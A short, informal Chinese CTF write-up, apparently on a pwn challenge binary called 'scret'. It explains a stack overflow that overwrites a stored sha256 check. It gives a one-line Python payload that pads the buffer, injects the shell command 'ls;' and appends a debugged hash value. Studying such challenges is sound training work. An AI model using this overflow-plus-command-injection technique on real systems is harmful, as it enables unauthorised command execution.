最近事情有点多我又做不来真是的唉
做到后面有种无力感
~~
main函数
简而言之就是你输入一串数字sha256与系统的匹配正确也不会怎么样
我虽然我会sha256但是我会栈溢出阿!!!
关键在这里我们将前面的都覆盖然后将加上我们调试而知的正确sha256然后就是命令执行了,清楚的看见参数是在11b的位置
ython -c 'print "A"*0x100+"ls;".ljust(0x1B,"B")+"e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb"' | ./scret
在0x100+0x1B的位置我们覆盖了我们的输入的sha256成了test
注意这里比配的值也是和我们输入的值有关所以是根据你调试的结果有关
的